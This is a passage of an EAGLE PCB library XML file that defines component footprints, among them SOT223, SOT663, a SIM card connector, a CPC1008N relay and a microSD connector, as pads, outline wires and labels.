y1=\"-7.0104\" x2=\"1.8542\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.8542\" y1=\"-7.0104\" x2=\"1.8542\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.8542\" y1=\"-8.001\" x2=\"2.1336\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.1336\" y1=\"-8.001\" x2=\"2.1336\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.6416\" y1=\"-7.0104\" x2=\"2.3622\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.3622\" y1=\"-7.0104\" x2=\"2.3622\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.3622\" y1=\"-8.001\" x2=\"2.6416\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.6416\" y1=\"-8.001\" x2=\"2.6416\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.1242\" y1=\"-7.0104\" x2=\"2.8702\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.8702\" y1=\"-7.0104\" x2=\"2.8702\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.8702\" y1=\"-8.001\" x2=\"3.1242\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.1242\" y1=\"-8.001\" x2=\"3.1242\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.6322\" y1=\"-7.0104\" x2=\"3.3528\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.3528\" y1=\"-7.0104\" x2=\"3.3528\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.3528\" y1=\"-8.001\" x2=\"3.6322\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.6322\" y1=\"-8.001\" x2=\"3.6322\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.1402\" y1=\"-7.0104\" x2=\"3.8608\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.8608\" y1=\"-7.0104\" x2=\"3.8608\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.8608\" y1=\"-8.001\" x2=\"4.1402\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.1402\" y1=\"-8.001\" x2=\"4.1402\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.6228\" y1=\"-7.0104\" x2=\"4.3688\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.3688\" y1=\"-7.0104\" x2=\"4.3688\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.3688\" y1=\"-8.001\" x2=\"4.6228\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.6228\" y1=\"-8.001\" x2=\"4.6228\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1308\" y1=\"-7.0104\" x2=\"4.8768\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.8768\" y1=\"-7.0104\" x2=\"4.8768\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.8768\" y1=\"-8.001\" x2=\"5.1308\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1308\" y1=\"-8.001\" x2=\"5.1308\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.6388\" y1=\"-7.0104\" x2=\"5.3594\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.3594\" y1=\"-7.0104\" x2=\"5.3594\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.3594\" y1=\"-8.001\" x2=\"5.6388\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.6388\" y1=\"-8.001\" x2=\"5.6388\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.1468\" y1=\"-7.0104\" x2=\"5.8674\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.8674\" y1=\"-7.0104\" x2=\"5.8674\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.8674\" y1=\"-8.001\" x2=\"6.1468\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.1468\" y1=\"-8.001\" x2=\"6.1468\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-5.8674\" x2=\"7.0104\" y2=\"-6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-6.1468\" x2=\"8.001\" y2=\"-6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-6.1468\" x2=\"8.001\" y2=\"-5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-5.8674\" x2=\"7.0104\" y2=\"-5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-5.3594\" x2=\"7.0104\" y2=\"-5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-5.6388\" x2=\"8.001\" y2=\"-5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-5.6388\" x2=\"8.001\" y2=\"-5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-5.3594\" x2=\"7.0104\" y2=\"-5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-4.8768\" x2=\"7.0104\" y2=\"-5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-5.1308\" x2=\"8.001\" y2=\"-5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-5.1308\" x2=\"8.001\" y2=\"-4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-4.8768\" x2=\"7.0104\" y2=\"-4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-4.3688\" x2=\"7.0104\" y2=\"-4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-4.6228\" x2=\"8.001\" y2=\"-4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-4.6228\" x2=\"8.001\" y2=\"-4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-4.3688\" x2=\"7.0104\" y2=\"-4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-3.8608\" x2=\"7.0104\" y2=\"-4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-4.1402\" x2=\"8.001\" y2=\"-4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-4.1402\" x2=\"8.001\" y2=\"-3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-3.8608\" x2=\"7.0104\" y2=\"-3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-3.3528\" x2=\"7.0104\" y2=\"-3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-3.6322\" x2=\"8.001\" y2=\"-3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-3.6322\" x2=\"8.001\" y2=\"-3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-3.3528\" x2=\"7.0104\" y2=\"-3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-2.8702\" x2=\"7.0104\" y2=\"-3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-3.1242\" x2=\"8.001\" y2=\"-3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-3.1242\" x2=\"8.001\" y2=\"-2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-2.8702\" x2=\"7.0104\" y2=\"-2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-2.3622\" x2=\"7.0104\" y2=\"-2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-2.6416\" x2=\"8.001\" y2=\"-2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-2.6416\" x2=\"8.001\" y2=\"-2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-2.3622\" x2=\"7.0104\" y2=\"-2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-1.8542\" x2=\"7.0104\" y2=\"-2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-2.1336\" x2=\"8.001\" y2=\"-2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-2.1336\" x2=\"8.001\" y2=\"-1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-1.8542\" x2=\"7.0104\" y2=\"-1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-1.3716\" x2=\"7.0104\" y2=\"-1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-1.6256\" x2=\"8.001\" y2=\"-1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-1.6256\" x2=\"8.001\" y2=\"-1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-1.3716\" x2=\"7.0104\" y2=\"-1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-0.8636\" x2=\"7.0104\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-1.143\" x2=\"8.001\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-1.143\" x2=\"8.001\" y2=\"-0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-0.8636\" x2=\"7.0104\" y2=\"-0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-0.3556\" x2=\"7.0104\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-0.635\" x2=\"8.001\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-0.635\" x2=\"8.001\" y2=\"-0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-0.3556\" x2=\"7.0104\" y2=\"-0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"0.127\" x2=\"7.0104\" y2=\"-0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-0.127\" x2=\"8.001\" y2=\"-0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"-0.127\" x2=\"8.001\" y2=\"0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"0.127\" x2=\"7.0104\" y2=\"0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"0.635\" x2=\"7.0104\" y2=\"0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"0.3556\" x2=\"8.001\" y2=\"0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"0.3556\" x2=\"8.001\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"0.635\" x2=\"7.0104\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"1.143\" x2=\"7.0104\" y2=\"0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"0.8636\" x2=\"8.001\" y2=\"0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"0.8636\" x2=\"8.001\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"1.143\" x2=\"7.0104\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"1.6256\" x2=\"7.0104\" y2=\"1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"1.3716\" x2=\"8.001\" y2=\"1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"1.3716\" x2=\"8.001\" y2=\"1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"1.6256\" x2=\"7.0104\" y2=\"1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"2.1336\" x2=\"7.0104\" y2=\"1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"1.8542\" x2=\"8.001\" y2=\"1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"1.8542\" x2=\"8.001\" y2=\"2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"2.1336\" x2=\"7.0104\" y2=\"2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"2.6416\" x2=\"7.0104\" y2=\"2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"2.3622\" x2=\"8.001\" y2=\"2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"2.3622\" x2=\"8.001\" y2=\"2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"2.6416\" x2=\"7.0104\" y2=\"2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"3.1242\" x2=\"7.0104\" y2=\"2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"2.8702\" x2=\"8.001\" y2=\"2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"2.8702\" x2=\"8.001\" y2=\"3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"3.1242\" x2=\"7.0104\" y2=\"3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"3.6322\" x2=\"7.0104\" y2=\"3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"3.3528\" x2=\"8.001\" y2=\"3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"3.3528\" x2=\"8.001\" y2=\"3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"3.6322\" x2=\"7.0104\" y2=\"3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"4.1402\" x2=\"7.0104\" y2=\"3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"3.8608\" x2=\"8.001\" y2=\"3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"3.8608\" x2=\"8.001\" y2=\"4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"4.1402\" x2=\"7.0104\" y2=\"4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"4.6228\" x2=\"7.0104\" y2=\"4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"4.3688\" x2=\"8.001\" y2=\"4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"4.3688\" x2=\"8.001\" y2=\"4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"4.6228\" x2=\"7.0104\" y2=\"4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"5.1308\" x2=\"7.0104\" y2=\"4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"4.8768\" x2=\"8.001\" y2=\"4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"4.8768\" x2=\"8.001\" y2=\"5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"5.1308\" x2=\"7.0104\" y2=\"5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"5.6388\" x2=\"7.0104\" y2=\"5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"5.3594\" x2=\"8.001\" y2=\"5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"5.3594\" x2=\"8.001\" y2=\"5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"5.6388\" x2=\"7.0104\" y2=\"5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"6.1468\" x2=\"7.0104\" y2=\"5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"5.8674\" x2=\"8.001\" y2=\"5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"5.8674\" x2=\"8.001\" y2=\"6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"8.001\" y1=\"6.1468\" x2=\"7.0104\" y2=\"6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.7404\" x2=\"-5.7404\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-7.0104\" x2=\"7.0104\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"-7.0104\" x2=\"7.0104\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"7.0104\" y1=\"7.0104\" x2=\"-7.0104\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"7.0104\" x2=\"-7.0104\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<text x=\"-9.5758\" y=\"5.9944\" size=\"1.27\" layer=\"51\" ratio=\"6\" rot=\"SR0\">*</text>\n<text x=\"-4.3942\" y=\"9.8298\" size=\"2.0828\" layer=\"25\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<text x=\"-6.2738\" y=\"-10.7442\" size=\"2.0828\" layer=\"27\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</package>\n<package name=\"SOT223\">\n<description>&lt;b&gt;Small Outline Transistor&lt;/b&gt;</description>\n<wire x1=\"3.2766\" y1=\"1.778\" x2=\"3.2766\" y2=\"-1.778\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.2766\" y1=\"-1.778\" x2=\"-3.2766\" y2=\"-1.778\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2766\" y1=\"-1.778\" x2=\"-3.2766\" y2=\"1.778\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2766\" y1=\"1.778\" x2=\"3.2766\" y2=\"1.778\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"P$1\" x=\"-2.3114\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"P$2@1\" x=\"0\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"P$3\" x=\"2.3114\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"P$2@2\" x=\"0\" y=\"3.099\" dx=\"3.6\" dy=\"2.2\" layer=\"1\"/>\n<text x=\"1.0208\" y=\"-4.318\" size=\"0.8128\" layer=\"51\" ratio=\"12\">3</text>\n<text x=\"1.905\" y=\"2.54\" size=\"0.8128\" layer=\"51\" ratio=\"12\">2</text>\n<text x=\"-3.4526\" y=\"-4.318\" size=\"0.8128\" layer=\"51\" ratio=\"12\">1</text>\n<text x=\"-1.2906\" y=\"-4.3274\" size=\"0.8128\" layer=\"51\" ratio=\"12\">2</text>\n<text x=\"-2.54\" y=\"0.0508\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-1.3208\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.6002\" y1=\"1.8034\" x2=\"1.6002\" y2=\"3.6576\" layer=\"51\"/>\n<rectangle x1=\"-0.4318\" y1=\"-3.6576\" x2=\"0.4318\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-2.7432\" y1=\"-3.6576\" x2=\"-1.8796\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"1.8796\" y1=\"-3.6576\" x2=\"2.7432\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-1.6002\" y1=\"1.8034\" x2=\"1.6002\" y2=\"3.6576\" layer=\"51\"/>\n<rectangle x1=\"-0.4318\" y1=\"-3.6576\" x2=\"0.4318\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-2.7432\" y1=\"-3.6576\" x2=\"-1.8796\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"1.8796\" y1=\"-3.6576\" x2=\"2.7432\" y2=\"-1.8034\" layer=\"51\"/>\n</package>\n<package name=\"SIM_CARD_CONN\">\n<smd name=\"CARD_VCC_PIN1\" x=\"-10.16\" y=\"0\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_RESET_PIN2\" x=\"-10.16\" y=\"2.54\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_CLK_PIN3\" x=\"-10.16\" y=\"5.08\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_GND_PIN5\" x=\"15.52\" y=\"0\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_VPP_PIN6\" x=\"15.52\" y=\"2.54\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"CARD_IO_PIN7\" x=\"15.52\" y=\"5.08\" dx=\"1.7\" dy=\"1.3\" layer=\"1\"/>\n<hole x=\"10.58\" y=\"-2.1\" drill=\"1.6\"/>\n<hole x=\"-5.22\" y=\"9.9\" drill=\"1.1\"/>\n<wire x1=\"-11.2\" y1=\"-5.2\" x2=\"19.6\" y2=\"-5.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"19.6\" y1=\"-5.2\" x2=\"19.6\" y2=\"8.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"19.6\" y1=\"8.9\" x2=\"19.6\" y2=\"12.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"19.6\" y1=\"12.9\" x2=\"15.6\" y2=\"12.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.6\" y1=\"12.9\" x2=\"-11.2\" y2=\"12.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-11.2\" y1=\"12.9\" x2=\"-11.2\" y2=\"-5.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.6\" y1=\"12.9\" x2=\"19.6\" y2=\"8.9\" width=\"0.254\" layer=\"21\"/>\n<text x=\"-6.9\" y=\"-0.8\" size=\"1.27\" layer=\"21\">1</text>\n<text x=\"-6.9\" y=\"1.8\" size=\"1.27\" layer=\"21\">2</text>\n<text x=\"-6.8\" y=\"4.6\" size=\"1.27\" layer=\"21\">3</text>\n<text x=\"11.9\" y=\"-0.8\" size=\"1.27\" layer=\"21\">5</text>\n<text x=\"12\" y=\"2\" size=\"1.27\" layer=\"21\">6</text>\n<text x=\"12.2\" y=\"4.4\" size=\"1.27\" layer=\"21\">7</text>\n<text x=\"-4.7\" y=\"-0.8\" size=\"1.27\" layer=\"21\">vcc</text>\n<text x=\"-4.7\" y=\"1.7\" size=\"1.27\" layer=\"21\">reset</text>\n<text x=\"-4.6\" y=\"4.6\" size=\"1.27\" layer=\"21\">clk</text>\n<text x=\"7.4\" y=\"-0.6\" size=\"1.27\" layer=\"21\">gnd</text>\n<text x=\"7.3\" y=\"2.1\" size=\"1.27\" layer=\"21\">vpp</text>\n<text x=\"7.6\" y=\"4.4\" size=\"1.27\" layer=\"21\">i/o</text>\n</package>\n<package name=\"SOT663\">\n<description>SOT 663</description>\n<smd name=\"P$3\" x=\"-0.635\" y=\"0\" dx=\"0.6\" dy=\"0.6\" layer=\"1\"/>\n<smd name=\"P$1\" x=\"1.015\" y=\"-0.5\" dx=\"0.6\" dy=\"0.6\" layer=\"1\"/>\n<smd name=\"P$2\" x=\"1.015\" y=\"0.5\" dx=\"0.6\" dy=\"0.6\" layer=\"1\"/>\n<wire x1=\"-0.635\" y1=\"0.4\" x2=\"-0.635\" y2=\"1\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1\" x2=\"0.965\" y2=\"1\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0.965\" y1=\"1\" x2=\"0.965\" y2=\"0.9\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"-0.4\" x2=\"-0.635\" y2=\"-1\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"-1\" x2=\"0.965\" y2=\"-1\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0.965\" y1=\"-1\" x2=\"0.965\" y2=\"-0.9\" width=\"0.127\" layer=\"21\"/>\n<text x=\"-1.6\" y=\"1.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">&gt;NAME</text>\n<text x=\"-2\" y=\"-2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">&gt;VALUE</text>\n</package>\n<package name=\"CPC1008N\">\n<smd name=\"A\" x=\"1.27\" y=\"2.54\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"C\" x=\"-1.27\" y=\"2.54\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"COM\" x=\"-1.29\" y=\"-3.06\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"NO\" x=\"1.27\" y=\"-3.06\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-2.44\" y=\"-2.86\" size=\"1.27\" layer=\"21\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.4\" y=\"-3.48\" size=\"1.27\" layer=\"21\" rot=\"R90\">&gt;VALUE</text>\n<circle x=\"1.28\" y=\"3.97\" radius=\"0.30479375\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.32\" y=\"3.94\" radius=\"0.180275\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.22\" y=\"4.07\" radius=\"0.188678125\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.2\" y=\"4.09\" radius=\"0.10295625\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.3\" y=\"3.84\" radius=\"0.09219375\" width=\"0.127\" layer=\"21\"/>\n<circle x=\"1.27\" y=\"3.94\" radius=\"0.171171875\" width=\"0.127\" layer=\"21\"/>\n</package>\n<package name=\"MICROSD_TE2201778-1_FARN-234-5280\">\n<smd name=\"8\" x=\"-3.85\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"7\" x=\"-2.75\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"6\" x=\"-1.65\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"5\" x=\"-0.55\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"4\" x=\"0.55\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"3\" x=\"1.65\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"2\" x=\"2.75\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"1\" x=\"3.85\" y=\"-0.75\" dx=\"1.5\" dy=\"0.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"A\" x=\"-5.59\" y=\"0.3\" dx=\"1.16\" dy=\"1.2\" layer=\"1\" 